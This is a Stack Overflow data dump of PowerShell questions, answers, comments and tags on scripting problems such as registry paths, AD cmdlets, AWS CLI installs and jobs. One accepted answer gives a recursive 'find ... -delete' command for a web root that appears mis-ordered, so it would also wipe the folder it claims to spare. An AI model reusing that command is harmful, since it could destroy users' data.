0.0.0.0:3389 0.0.0.0:0 svchost.exe TermService LISTENING 1612 TCP [::]:3389 [::]:0 svchost.exe TermService LISTENING 1612 UDP 0.0.0.0:3389 *:* svchost.exe TermService 1612 UDP [::]:3389 *:* svchost.exe TermService 1612
score: 1
upvote count: 1

sql-server
tag name: sql-server
tags question: http://stackoverflow.com/q/79229639
tags question: http://stackoverflow.com/q/79162118
tags question: http://stackoverflow.com/q/79224704
tags question: http://stackoverflow.com/q/79111442
type: Tag
tags question: http://stackoverflow.com/q/79391710
tags question: http://stackoverflow.com/q/79369758
tags question: http://stackoverflow.com/q/79278800
tags question: http://stackoverflow.com/q/79353262
tags question: http://stackoverflow.com/q/79379722
tags question: http://stackoverflow.com/q/79447853
tags question: http://stackoverflow.com/q/79420764

http://stackoverflow.com/comment/139449134
has text: **[1]** `$registryPath = "Registry::HKLM\SYSTEM\CurrentControlSet\Services\AppIDSvc"` should be `Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\AppIDSvc` or use the built-in **HKLM:** PSDrive: `HKLM:\SYSTEM\CurrentControlSet\Services\AppIDSvc` **[2]** you do a `shutdown /r` after the first part and expect the script to go on with the remaining part of the script.. **[3]** you have one closing curly brace too many after the `catch{..}` block, so now the `finally{..}` is not at the same level. (you could improve those mistakes by indenting your code better)
type: QuestionComment
type: Comment
score: 1
comment on: http://stackoverflow.com/q/79084826

http://stackoverflow.com/comment/139684624
type: QuestionComment
has text: Yep, that was it. If you add that as an answer I'll mark it.
comment on: http://stackoverflow.com/q/79214443
type: Comment
score: 0

http://stackoverflow.com/comment/139510975
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79118908
has text: @MisterSmith I'm on 5.1 folders are organized like that : folder named YYYY-MM and in each of this folder a folder per day named DD, in our most used days folder it may have more than 50k files each days, usually small files I think the best idea, would be to not enter into the day folder, but I can't anticipate the depht of the YYYY-MM folder. as I want to purge by date, I just have to concatenate both folder to know if I have to delete it I'll check on your suggestion when I can. thanks a lot !
type: QuestionComment

http://stackoverflow.com/comment/139558670
comment on: http://stackoverflow.com/q/79145598
has text: right but you need to do that for all parameters and arguments, separate them
type: QuestionComment
type: Comment
score: 1

http://stackoverflow.com/q/79133521
has comment: http://stackoverflow.com/comment/139536812
type: Question
linked to: http://stackoverflow.com/q/57131654
has comment: http://stackoverflow.com/comment/139537151
answer count: 0
has comment: http://stackoverflow.com/comment/139546920
has comment: http://stackoverflow.com/comment/139547056
tagged with: powershell
has title: Powershell ISE won't autoload scripts
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/139539453
score: 0
has body: If I write a Powershell script, save it as C:\Users\username\OneDrive - CompanyName\Documents\Code\Demo.ps1 and double-click the file in Windows Explorer to launch it, Powershell ISE starts with the error message Unable to load C:\Users\username\OneDrive - CompanyName: Could not find file 'C;\Users\username\OneDrive - CompanyName'. It doesn't matter what the script is; the same script will run if I load it manually into ISE. It appears to be caused by the space in the folder name for OneDrive, because it will load without error if I copy the script to D:\ and double-click it there. Why is it that ultra-modern Powershell cannot handle the ultra-modern feature of a space in the path? Or, less sarcastically, is there a solution?

http://stackoverflow.com/a/79103209
has body: Someone from the team figured it out, posting for completeness. Essentially, -not -path was replaced with !: $bodyToPOST = @{ command = "find . -mindepth 1 -delete ! ""/home/site/wwwroot/webroot/uploads/*""" dir = "/home/site/wwwroot" }
accepted answer of: http://stackoverflow.com/q/79099308
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/79099308
type: Answer
score: 0

http://stackoverflow.com/comment/139429602
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79074308
has text: I changed the messages language to make it easier for you guys. Its still the same script.

http://stackoverflow.com/q/79244582
answer count: 2
has body: I have a function whose name parameter I want to provide tab completion for, the tab completion values are file names found in c:\temp. On top of using the files in c:\temp as values, I also want to add additional tab completion values. Below is the function Function foo{ Param( [ValidateSet([layoutNames], ErrorMessage = """{0}"" Is not a valid Layout name")] $Name ) $name } and the layoutNames class, which is used by the name parameter: Class layoutNames : System.Management.Automation.IValidateSetValuesGenerator{ [string[]] GetValidValues(){ #return @((Get-ChildItem -path 'c:\temp' -File).BaseName, "valueFoo", "valueBar") #tab completetion only suggests "valueFoo" and "valueBar" #return @("valueFoo", "valueBar", (Get-ChildItem -path 'c:\temp' -File).BaseName) #tab completetion only suggests "valueFoo" and "valueBar" return @( #tab completetion suggests "valueFoo" and "valueBar" and the file names. "valueFoo", "valueBar" (Get-ChildItem -path 'c:\temp' -File).BaseName ) }} With the above, only the third return example works, the only difference being a new line....I think. I spent quite some time trying to figure this out, I initially started with a return statement that looked like this: return [string[]]("valueFoo", "valueBar", (Get-ChildItem -path 'c:\temp' -File).BaseName) but kept changing it around as nothing was working, until I eventually worked by way to using the array operator @(). The crux of my issue is that why does the class, when declared in the following manner not work as intended with the foo function, that is suggest both valueFoo, valueBar and the files names in c:\temp Class layoutNames : System.Management.Automation.IValidateSetValuesGenerator{ [string[]] GetValidValues(){ #return [string[]]("valueFoo", "valueBar",(Get-ChildItem -path 'C:\Users\INDESK\AppData\Roaming\GPSoftware\Directory Opus\Layouts' -File).BaseName) # no files names are suggested. only 'valueFoo' and 'valueBar' are suggested #return [string[]]("valueFoo", "valueBar",((Get-Chi…
type: Question
tagged with: arrays
has answer: http://stackoverflow.com/a/79244819
has title: Is there a meaningful difference in this '@()' construction or is this a bug?
possible better answer: http://stackoverflow.com/a/79244819
score: 2
upvote count: 2
downvote count: 0
tagged with: powershell
type: AnsweredQuestion
tagged with: construction
accepted answer: http://stackoverflow.com/a/79244649
has answer: http://stackoverflow.com/a/79244649
favorite count: 0
has comment: http://stackoverflow.com/comment/139738078

http://stackoverflow.com/comment/139468089
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79095487
has text: @elh: The tradeoffs by which you can assess the solutions are: Do you need to construct a new ordered hashtable or is enumerating the entries in reverse order sufficient? Does performance matter? Pipeline-based solutions are potentially more concise and elegant, but relatively slow - but with smallish hashtables that won't matter.

http://stackoverflow.com/comment/139514420
type: QuestionComment
type: Comment
has text: The Get-CMDeployment isn't returning any results or in a different format, Try debugging with Get-CMDeployment | Format-List
score: 0
comment on: http://stackoverflow.com/q/79115944

concurrency
tag name: concurrency
tags question: http://stackoverflow.com/q/79239933
type: Tag

http://stackoverflow.com/comment/139448935
type: Comment
comment on: http://stackoverflow.com/a/79085150
score: 0
has text: Tried the above methods, the problem is not resolved. Also, noticed some similar problems with sysWoW64's `powershell.exe` from other users, eg, [this one](https://stackoverflow.com/questions/78856954/error-installing-visual-studio-couldnt-install-microsoft-visualcpp-redist-14) and [another one](https://learn.microsoft.com/en-us/answers/questions/1510950/how-to-fix-microsoft-visualcpp-redist-14-version-1). I may need replace `powershell.exe` that came with Windows 10 22H2 with github's or some other working version.
type: AnswerComment

http://stackoverflow.com/comment/139617868
score: 0
has text: Hi, for die first it is Right but for die two 1920x1200 it shows 2880x1800 with : [System.Windows.Forms.Screen]::AllScreens | ForEach-Object { '{0} x {1}' -f $_.Bounds.Width, $_.Bounds.Height }
comment on: http://stackoverflow.com/q/79176779
type: QuestionComment
type: Comment

http://stackoverflow.com/q/79132168
has comment: http://stackoverflow.com/comment/139534691
tagged with: active-directory
tagged with: windows
type: Question
has comment: http://stackoverflow.com/comment/139547788
has comment: http://stackoverflow.com/comment/139549345
has comment: http://stackoverflow.com/comment/139534910
has body: I tried to use the Get-ADUser PowerShell Active Directory cmdlet, but am getting: PS C:\&gt; Get-ADUser Get-ADUser : The term 'Get-ADUser' is not recognized as the name of a cmdlet, function, script file, or operable program. All my search results point to the following solution: install RSAT: Active Directory Domain Services and Lightweight Directory Tools verify that the Active Directory module is available by importing it However, this is what I'm getting: PS C:\&gt; Add-WindowsCapability -Online -Name Rsat.ActiveDirectory.DS-LDS.Tools Path : Online : True RestartNeeded : False PS C:\&gt; Import-Module -Name ActiveDirectory Import-Module : The specified module 'ActiveDirectory' was not loaded because no valid module file was found in any module directory. PS C:\&gt; Get-ADUser Get-ADUser : The term 'Get-ADUser' is not recognized as the name of a cmdlet, function, script file, or operable program. The Get-ADUser PowerShell cmdlet works in one of our machines, and I want to make it works on other machines too.
answer count: 0
tagged with: powershell
has title: How to make PowerShell Active Directory cmdlets working
score: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/139550068
has comment: http://stackoverflow.com/comment/139547791
has comment: http://stackoverflow.com/comment/139555940

http://stackoverflow.com/comment/139704595
type: Comment
comment on: http://stackoverflow.com/a/79205181
score: 0
has text: Thank you for sharing. You can mark it as the answer to help others find the solution more easily.
type: AnswerComment

freshservice
type: Tag
tags question: http://stackoverflow.com/q/79089000
tag name: freshservice

http://stackoverflow.com/comment/139635960
comment on: http://stackoverflow.com/a/79158066
type: AnswerComment
has text: Are you still facing the same issue. @Hayaaaaaa
type: Comment
score: 0

http://stackoverflow.com/comment/139625409
type: QuestionComment
type: Comment
has text: @jdweng: There is no _syntax_ problem with `-ArgumentList`, so linking elsewhere on that topic (to an unrelated post, no less) is a confusing distraction. Rather, the problem is that the target cmdlet _doesn't have an `-ArgumentList` parameter_.
score: 1
comment on: http://stackoverflow.com/q/79179722

http://stackoverflow.com/comment/139733589
score: 1
comment on: http://stackoverflow.com/a/79240869
has text: I proposed that this check be built into the PowerShell engine in [this github issue](https://github.com/PowerShell/PowerShell/issues/24629).
type: AnswerComment
type: Comment

provider
tag name: provider
tags question: http://stackoverflow.com/q/79226757
type: Tag

http://stackoverflow.com/a/79275787
has body: Despite the attention on the meta issues in my question, apparently nobody caught the design bug in my original (deleted) self-answer. In the end, I think that I can conclude that using a comparer for this isn't the correct way, mainly because the comparer<T> class "compares two objects" and for a topological search it needs to handle multiple dependency (edges). Therefore I have created a Sort-Topological to do the job. For the specific example in the question: $Array | Sort-Topological -Id Name -Dependency Dependency Name Dependency ---- ---------- Function3 {} Function1 {Function3} Function5 {Function1} Function4 {Function1, Function5} Function2 {Function3, Function4, Function5} For my specific use case, the Sort-Topological cmdlet might be used as follows: $Script = @' Class Class1 : Class3 { } Class Class2 : Class4, Class5 { } Class Class3 { } Class Class4 : Class5, Class3, Class1 { } Class Class5 : Class1 { } '@ $Ast = [Management.Automation.Language.Parser]::ParseInput($Script, [ref]$null, [ref]$null) $Classes = $Ast.EndBlock.Statements $Sorted = $Classes | Sort-Topological -Id Name -Dependency { $_.BaseTypes.TypeName.Name } $Sorted.Name Class3 Class1 Class5 Class4 Class2 Sort-Topological Below is the code and an explanation of the first stable version. A full and up-to-date version including a usage help can be found on the PowerShell Gallery and Github. Using Namespace System.Management.Automation Using Namespace System.Management.Automation.Language Using Namespace System.Collections Using Namespace System.Collections.Generic function Sort-Topological { [Diagnostics.CodeAnalysis.SuppressMessage('PSUseApprovedVerbs', '', Scope = 'function', Target = '' )] [CmdletBinding()]Param( [Parameter(ValueFromPipeline = $True, Mandatory = $True)]$InputObject, [Parameter(Position = 0, Mandatory = $True)][Alias('DependencyName')]$EdgeName, [Parameter(Position = 1)][Alias('NameId')][String]$IdName ) function PSError($Exception, $Id = 'TopologicalSortError', $Target = $Ve…
score: 0
answers question: http://stackoverflow.com/q/79173069
type: AcceptedAnswer
type: Answer
accepted answer of: http://stackoverflow.com/q/79173069

http://stackoverflow.com/comment/139674269
type: QuestionComment
type: Comment
has text: Ah cheers mate; i'll try that as soon as I get my head above water
comment on: http://stackoverflow.com/q/79197561
score: 0

action
tags question: http://stackoverflow.com/q/79200936
type: Tag
tag name: action

logging
type: Tag
tags question: http://stackoverflow.com/q/79114767
tag name: logging
tags question: http://stackoverflow.com/q/79204520
tags question: http://stackoverflow.com/q/79377035
tags question: http://stackoverflow.com/q/79248415

http://stackoverflow.com/a/79076530
answers question: http://stackoverflow.com/q/79076344
type: AcceptedAnswer
score: 2
upvote count: 2
downvote count: 0
accepted answer of: http://stackoverflow.com/q/79076344
has body: This is because your server is running with Powershell version &lt; 6.0. UserName added to the Get-Service cmdlet result starting from Powershell 6. Quoting from the documentation: Beginning in PowerShell 6.0, the following properties are added to the ServiceController objects: UserName, Description, DelayedAutoStart, BinaryPathName, and StartupType . You can use the Get-CimInstance Cmdlet to query the Win32_Service class in order to get the same result in older versions. Get-CimInstance -ClassName Win32_Service | Select-Object -Property Name, startName
type: Answer
has comment: http://stackoverflow.com/comment/139436205

http://stackoverflow.com/comment/139532975
score: 0
comment on: http://stackoverflow.com/q/79131331
type: QuestionComment
type: Comment
has text: Try to run the powershell shell instead of running a script then manually run the script to test if required privileges is available.

http://stackoverflow.com/comment/139730688
type: Comment
comment on: http://stackoverflow.com/a/79240036
score: 0
has text: @alx9r yeah well idk what to tell or what you're expecting for an answer to your question. A simple argument check for `is ScriptBlock` would be the proper way to handle this instead of trying to work around it. That's what `ForEach-Object -Parallel` does...
type: AnswerComment

http://stackoverflow.com/comment/139707473
type: Comment
has text: It worked, I forgot to add the line `powerShell.Runspace = runspace;` which is why it was targeting the local PC.
score: 1
type: AnswerComment
comment on: http://stackoverflow.com/a/79227179

http://stackoverflow.com/comment/139617927
type: AnswerComment
comment on: http://stackoverflow.com/a/79132466
type: Comment
has text: I run the above script again, I still get no results for the fields "User Emails To : Manager Emails to: " I uncommented the Write-Host "Fetched user entitlements and I get an output of 32 users, 27 with group rule and 5 with unknown
score: 0

http://stackoverflow.com/q/79189079
tagged with: masking
answer count: 0
downvote count: 0
tagged with: powershell
linked to: http://stackoverflow.com/q/62546824
has comment: http://stackoverflow.com/comment/139638944
tagged with: winforms
has comment: http://stackoverflow.com/comment/139641330
has comment: http://stackoverflow.com/comment/139638921
has body: $txtValue = New-Object System.Windows.Forms.MaskedTextBox Using the mask $txtValue.Mask = "999,999,999.9999" doesn't allow me to enter, for example, 1.333 without typing 000,000,001.333 (or clicking directly at the correct position, but that's impractical). The mask $txtValue.Mask = "000,000,000.00" has almost the same issue. I tried adding event functions, but it only edits the first number and fails: $txtValue.add_TextChanged({ $mytxt = $txtValue.Text $txtValue.remove_TextChanged($thisEvent) $myValue.Text = [double]::Parse($mytxt) $txtShareValue.add_TextChanged($thisEvent) }) I also tried using the regex [^0-9.] and slicing the range if the text exceeds the length limit during an event, but this doesn't prevent entering multiple consecutive periods.
has comment: http://stackoverflow.com/comment/139639075
type: UnansweredQuestion
score: 1
has comment: http://stackoverflow.com/comment/139659394
has title: What is the correct way to create a mask for decimal numbers in Windows Forms?
upvote count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/139638986
type: Question

http://stackoverflow.com/comment/139508099
has text: Try using Powershell Core. PS is written in Net Library. Microsoft developed Core so that Net would work in Windows, MAC, and LINUX without code changes. See https://www.reddit.com/r/PowerShell/comments/vzrozb/why_use_powershell_core/
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79106388

http://stackoverflow.com/comment/139611869
type: Comment
has text: Very interesting about these "fantasy numbers". Another interesting point is the [source for System.Math](https://github.com/dotnet/runtime/blob/5535e31a712343a63f5d7d796cd874e563e5ac14/src/libraries/System.Private.CoreLib/src/System/Math.cs) `public const double E = 2.7182818284590452354; public const double PI = 3.14159265358979323846;`
comment on: http://stackoverflow.com/a/79174103
score: 1
type: AnswerComment

http://stackoverflow.com/q/79072635
score: 0
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/79072656
has title: System.Collection.Hashtable does not contain a method named 'Trim'
has body: below code throws runtime exception System.Collection.Hashtable does not contain a method named 'Trim' what's the best solution below script? I just wanted to extract username. IP addtess, Computer-Name, pages printed, and export it to csv file. $logPath = "Microsyour textoft-Windows-PrintService/Operational" $eventId = 307 $ipAddress = (Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias (Get-NetConnectionProfile).InterfaceAlias).IPAddress if (-not $ipAddress) { $ipAddress = "NoIPAddress" } $todayDate = (Get-Date).ToString("yyyy-MM-dd") $csvFilePath = "C:\test\$ipAddress-$todayDate.csv" $filteredEvents = Get-WinEvent -LogName $logPath -FilterXPath "*[System[(EventID=$eventId) and (TimeCreated[timediff(@SystemTime) <= 86400000])]]" if ($filteredEvents.Count -eq 0) { Write-Host "No events found with Event ID $eventId in log $logPath for today or yesterday." } else { $eventsToExport = @() # Initialize the array foreach ($event in $filteredEvents) { $eventDate = $event.TimeCreated.Date if ($eventDate -eq (Get-Date).Date -or $eventDate -eq (Get-Date).AddDays(-1).Date) { $messageParts = $event.Message -split "`r`n" $user = $printer = $pagesPrinted = $timeCreated = $hostName = $port = $null foreach ($line in $messageParts) { if ($line -match "owned by\s+(.+?)\s+on\s+(.+?)\s+was printed on\s+(.+?)\s+through port\s+(.+?)\.\s+Size in bytes: .+ Pages printed: (\d+)\.") { $user = $Matches.Trim() $hostName = $Matches.Trim() $printer = $Matches.Trim() $port = $Matches.Trim() $pagesPrinted = $Matches.Trim() Write-Host "Matched User: $user, HostName: $hostName, Printer: $printer, Port: $port, Pages Printed: $pagesPrinted" } else { Write-Host "No matches found for line: $line" } } $eventsToExport += [PSCustomObject]@{ User = $user Printer = $printer PagesPrinted = $pagesPrinted TimeCreated = $event.TimeCreated.ToString("M/d/yyyy H:mm") HostName = $hostName Port = $port IP = $ipAddress } } } if ($eventsToExport.Count -gt 0) { $eventsToExport | Export-Csv -Path $csvFilePath -NoTypeI…
type: Question
answer count: 1
tagged with: powershell

http://stackoverflow.com/comment/139582187
type: AnswerComment
comment on: http://stackoverflow.com/a/79136043
type: Comment
has text: Hi @Natalie Any update?
score: 0

http://stackoverflow.com/q/79081337
tagged with: windows
type: Question
linked to: http://stackoverflow.com/q/68401096
tagged with: amazon-web-services
has title: Powershell Script to Automate the Install of AWS CLI and copy s3 uploaded file to the windows server
has body: I have developed a script that will download and install the AWS CLI and Config with .env file. Even though it is installed and configured successfully, when I'm trying to copy the s3 file to the server it is unable to download the file. When I run the aws --version and aws configure list in another Powershell session I'm getting the result. I'm wanting to automate the entire process in a single trigger: downloading AWS CLI, installing it, and downloading files to the server. How can I download the file from s3? Might it require a path refresh or something assist me to resolve this? Thanks in Advance! The error: Error getting Downloading SolarWinds installer from S3 bucket... Downloading s3://s3bucketlifecycle/Solarwinds-OOAE-Installer. Eval.exe to C:\Users\Administrator\Downloads\Solarwinds-00AE-Installer.Eval.e Download-SolarWinds Installer: Failed to download SolarWinds installer from S3. Error: The term 'aws' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again. My code: function Ensure-AWSCLIInstalled { Write-Host "Checking if AWS CLI is installed..." $awsInstalled = $false try { # Check if AWS CLI is already installed if (Get-Command aws -ErrorAction SilentlyContinue) { Write-Host "AWS CLI is already installed." $awsInstalled = $true } else { Write-Host "AWS CLI not found. Installing AWS CLI v2..." # Set the path for downloading the AWS CLI installer $awsInstallerPath = Join-Path $DownloadDirectory "AWSCLIV2.msi" $AWSCLIInstallerURL = "https://awscli.amazonaws.com/AWSCLIV2.msi" # Enable TLS 1.2 for secure downloads [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 # Check if the installer is already downloaded if (-Not (Test-Path $awsInstallerPath)) { Write-Host "Downloading AWS CLI installer..." try { # Use Invoke-WebRequest to download the AWS CLI installer Invoke-WebRequest -Uri $AWSCLIInsta…
tagged with: powershell
has comment: http://stackoverflow.com/comment/139443879
type: UnansweredQuestion
tagged with: aws-cli
has answer: http://stackoverflow.com/a/79083214
has answer: http://stackoverflow.com/a/79083960
score: 0
answer count: 2

http://stackoverflow.com/comment/139457288
score: 0
comment on: http://stackoverflow.com/q/79089859
has text: its unclear what you mean by "Can it be possible without embedding code inside powershell like below & call through invoke-expression ?" you're already doing that just below that sentence
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139430452
score: 0
has text: @MathiasR.Jessen, that worked!!! Thank you so much. I will leave the code with the solution above.
type: QuestionComment
comment on: http://stackoverflow.com/q/79074308
type: Comment

http://stackoverflow.com/comment/139477657
score: 0
has text: Why is it tagged `bash`?
comment on: http://stackoverflow.com/q/79099308
type: QuestionComment
type: Comment

http://stackoverflow.com/a/79089686
answers question: http://stackoverflow.com/q/79088290
has body: tl;dr You're mistakenly using the syntax of POSIX-compatible shells such as bash. In PowerShell (Core) 7 (which you're running), use the following instead: (./mem &), (./mem &) | Receive-Job -Wait -AutoRemoveJob In Windows PowerShell (the legacy, ships-with-Windows edition whose latest and last version is 5.1): (Start-Job { ./mem }), (Start-Job { ./mem }) | Receive-Job -Wait -AutoRemoveJob Differences between Bash and PowerShell jobs: Indeed, the command line ./mem &; ./mem & is meant for bash (or another POSIX-compatible shell such as zsh): It creates two jobs that run in the background and (in addition to job control messages) send the process' output directly to the terminal, asynchronously. The same command line works syntactically in PowerShell (Core) 7 too (albeit not in Windows PowerShell, which only supports Start-Job, see below), but functions differently there: &, the postpositional background operator, is syntactic sugar for a Start-Job call (./mem & is short for Start-Job { ./mem })[1] and creates a PowerShell background job, and what these calls return is a job object that can be queried and managed with cmdlets such as Receive-Job. While these jobs are loosely analogous to Bash jobs, there are important differences: PowerShell jobs do not automatically print their output to the caller's terminal; instead, output is quietly collected behind the scenes, and can be retrieved on demand with Receive-Object Completed jobs must be cleaned up (removed) manually, either via Remove-Job or, as shown above, by passing -AutoRemoveJob to Receive-Job (which also requires -Wait to synchronously wait for the job to complete, so that all of its output can be collected). [1] There is one important difference, however: with Start-Job, you must use the $using: scope inside the script block ({ ... }) in order to reference variable values from the caller's scope, whereas with & all variable references implicitly refer to the caller's variables. E.g., given a caller variable …
downvote count: 0
type: Answer
score: 1
upvote count: 1

http://stackoverflow.com/comment/139624642
score: 0
has text: A native PowerShell ([Pipeline](https://learn.microsoft.com/powershell/module/microsoft.powershell.core/about/about_pipelines)) command for this would be: `Get-ChildItem $directoryPath -File -Recurse | Where-Object LastWriteTime -lt $cutoffDate | Remove-Item -WhatIf -Verbose`
comment on: http://stackoverflow.com/q/79181031
type: QuestionComment
type: Comment

file
type: Tag
tags question: http://stackoverflow.com/q/79200338
tag name: file
tags question: http://stackoverflow.com/q/79294035
tags question: http://stackoverflow.com/q/79368281

http://stackoverflow.com/comment/139718297
score: 0
comment on: http://stackoverflow.com/a/79230072
type: AnswerComment
has text: Regarding `Connect-AzAccount -Identity`, in my case, I'm not using a managed identity, but is connecting to Azure by means of OIDC federated credentials on a service principal
type: Comment

http://stackoverflow.com/comment/139471708
score: 2
type: Comment
type: AnswerComment
has text: @mclayton Yes, or use `$firstLine = Get-Content -Path $file.FullName -TotalCount 1`
comment on: http://stackoverflow.com/a/79097306

http://stackoverflow.com/comment/139497762
type: QuestionComment
comment on: http://stackoverflow.com/q/79112116
type: Comment
has text: @js2010: Btw, `Get-WmiObject` has been obsolete since 2012, gjven that the WMI cmdlets were superseded by the CIM cmdlets, such as `Get-CimInstance`. See https://stackoverflow.com/a/54508009/45375
score: 0

http://stackoverflow.com/comment/139431982
has text: That should do the trick, Now we can work through spitting it out in CSV. THanks
type: Comment
score: 0
comment on: http://stackoverflow.com/a/79076026
type: AnswerComment

http://stackoverflow.com/comment/139473585
score: 0
comment on: http://stackoverflow.com/q/79098593
type: QuestionComment
type: Comment
has text: What do you mean by "register for the callback"? I don't see any callback registration in the code you want to replicate with powershell.

http://stackoverflow.com/q/79203992
has comment: http://stackoverflow.com/comment/139666067
score: 1
upvote count: 1
favorite count: 0
tagged with: windows
type: Question
has answer: http://stackoverflow.com/a/79204060
tagged with: curl
has body: Edit: I'm doing all of this in WIndows PoweShell. I was doing the tutorial for using kubernetes (one of the ones in kubernetes.io) and it tells you to use: export POD_NAME=$(kubectl get pods -o go-template --template '{{range .items}}{{.metadata.name}}{{"\n"}}{{end}}') I had to remove the "export" for it to work in windows (also had to remove the line break for some reason, but it worked after that), so the command was: $POD_NAME=$(kubectl get pods -o go-template --template '{{range .items}}{{.metadata.name}}{{end}}') It worked, and if I typed: $POD_NAME I got the correct pod name. The problem came from the next step where I had to use: curl http://localhost:8001/api/v1/namespaces/default/pods/$POD_NAME:8080/proxy/ Here, it was unable to resolve the url, while if I just replaced $POD_NAME with the text in the variable, it worked just fine. I was wondering if there is a way to make it work (as in making the variable name be substituted by it's content when interpreting the command). Not sure if it helps, but this is the error message: curl : { "kind": "Status", "apiVersion": "v1", "metadata": {}, "status": "Failure", "message": "pods \"proxy\" not found", "reason": "NotFound", "details": { "name": "proxy", "kind": "pods" }, "code": 404 } En línea: 1 Carácter: 1 + curl http://localhost:8001/api/v1/namespaces/default/pods/$POD_NAME:8 ... + CategoryInfo : InvalidOperation: (System.Net.HttpWebRequest:HttpWebRequest) [Invoke-WebRequest], WebException + FullyQualifiedErrorId : WebCmdletWebResponseException,Microsoft.PowerShell.Commands.InvokeWebRequestCommand Edit: I've tried a little bit more, and it seems the problem is that powershell interprets $POD_NAME:8080 as if it was the name of the variable (instead of just $POD_NAME and considering :8080 as part of the string that's not part of the variable). Still I would like to know id there's a way to do this instead of having to create a new string by adding the first part (before the 8080) to the second part.
tagged with: kubernetes
answer count: 1
downvote count: 0
tagged with: powershell
has title: How to make curl in Windows use a variable as part of a path
type: UnansweredQuestion

http://stackoverflow.com/comment/139444935
score: 0
comment on: http://stackoverflow.com/a/79083214
type: AnswerComment
type: Comment
has text: Thanks for the response @MisterSmith, but im able to copy files from the same path in another session but in current Powershell it is not able to recognise it.

cloudflare
type: Tag
tags question: http://stackoverflow.com/q/79104926
tag name: cloudflare

securestring
type: Tag
tag name: securestring
tags question: http://stackoverflow.com/q/79177495

http://stackoverflow.com/comment/139659156
comment on: http://stackoverflow.com/q/79198594
type: QuestionComment
type: Comment
has text: You code `start powershell {...}` is being converted to `Start-Process -FilePath "powershell" -ArgumentList {...}`, which is problematic due to `ArgumentList` being defined as `[string[]]`. Not 100% clear on what is happening in the conversion of a scriptblock to a string, but it appears the double quotes are getting stripped out in the process.
score: 1

http://stackoverflow.com/comment/139450757
has text: Quick thoughts: 1st read the CSV as it is to extract the 2 columns (FQDN and Days). Then, loop over the rows. Parse the Days values to extract the *nested* values, and reemit a new PSCustomObject with the desired structure. Finally export the data as CSV.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79085285
score: 0

http://stackoverflow.com/comment/139637221
has text: Ok, I didn't realize that the python output would count as return value... :) Still, is it possible to get it to print the output when it is running, instead of printing everything after Invoke-Command has finished?
comment on: http://stackoverflow.com/q/79187932
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/comment/139618347
type: Comment
score: 0
has text: @MathiasR.Jessen yeah, looks like I'm guilty of using the wrong words. I blame it on `-LiteralPath` for leading me astray! Scoundrel of a parameter!
comment on: http://stackoverflow.com/a/79174200
type: AnswerComment

http://stackoverflow.com/q/79189697
score: 1
upvote count: 1
favorite count: 0
has title: Add-AppxProvisionedPackage failing for eappx
has comment: http://stackoverflow.com/comment/139663402
type: Question
answer count: 0
downvote count: 0
tagged with: powershell
has body: I'm trying to sideload an encrypted appx (eappx) app via powershell. Add-AppxPackage -Path ./Appfile.eappx works fine. However it only installs the app for the current user. To install for all users on the machine I've seen suggestions to use Add-AppxProvisionedPackage. This works installing and appx but fails installing the eappx with the error below: Works: Add-AppxProvisionedPackage -Online -PackagePath ./Appfile.appx -SkipLicense Fails: Add-AppxProvisionedPackage -Online -PackagePath ./Appfile.eappx -SkipLicense Add-AppxProvisionedPackage : Add-AppxProvisionedPackage failed. Error code = 0x8051100f At line:1 char:1 + Add-AppxProvisionedPackage -Online -PackagePath ./Appfile.eappx ... + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : NotSpecified: (:) [Add-AppxProvisionedPackage], COMException + FullyQualifiedErrorId : Microsoft.Dism.Commands.AddAppxProvisionedPackageCommand Error 0x8051100F is "OPC_E_ZIP_MISSING_END_OF_CENTRAL_DIRECTORY" Do you know if it's possible to install eappx files via Add-AppxProvisionedPackage? Thanks
tagged with: uwp
tagged with: appx
type: UnansweredQuestion

http://stackoverflow.com/comment/139533167
comment on: http://stackoverflow.com/a/79131379
score: 1
has text: Thank you. I will figure out a way to run the relevant excel file with elevated privileges. That seems to avoid the prompt.
type: AnswerComment
type: Comment

cim
tags question: http://stackoverflow.com/q/79128851
tag name: cim
type: Tag

http://stackoverflow.com/q/79097075
accepted answer: http://stackoverflow.com/a/79097136
upvote count: 1
has body: In one of the job i am replacing tenants Json file. So it needs to provide the tenants json exact path also the tenants json has been provided in one of the variable. I know the exact path for the tenants json file but i am getting the following error. ##[error]Invalid file path 'C:__w\1\s'. A path to a .ps1 file is required. Also the yaml code looks like, - task: PowerShell@2 displayName: Override Tenants.json file inputs: scriptType: inlineScript inlineScript: >- $json = @' $(Deployment.tenantContent) '@; $json | Out-File -encoding "UTF8" "$(Deployment.FilePath)" My exact path for the TenantsJsonPath = C:\__w\1\s\bapiweb-PowerBI\code\powerbi\PowerBi.Web\App_Data\tenants.json The variable is assigned FilePath = web-PBI\code\pobi\PoBi.Web\App_Data\tenants.json Could you please help me to resolve this issue, i am trying very hard but nothing helps me.
favorite count: 0
has answer: http://stackoverflow.com/a/79097136
score: 1
type: Question
tagged with: azure-devops
has title: powershell: Getting path error while replacing json file
tagged with: powershell
answer count: 1
type: AnsweredQuestion
tagged with: azure-pipelines-yaml
downvote count: 0
tagged with: azure-pipelines

http://stackoverflow.com/comment/139684659
type: Comment
has text: @user2268909 That is really strange indeed. If I test with documents in Word 97 format it works without a problem.. (I'm using PowerShell 5.1) Perhaps you can try a different method of looping over the individual hyperlinks as described by @mklement0 in his comment. Does `foreach ($lnk in $thisDoc.HyperLinks){..}` (and change `$_.Address` into `$lnk.Address`) return hyperlink objects or are these still null in your old docs?
score: 0
comment on: http://stackoverflow.com/a/79212071
type: AnswerComment

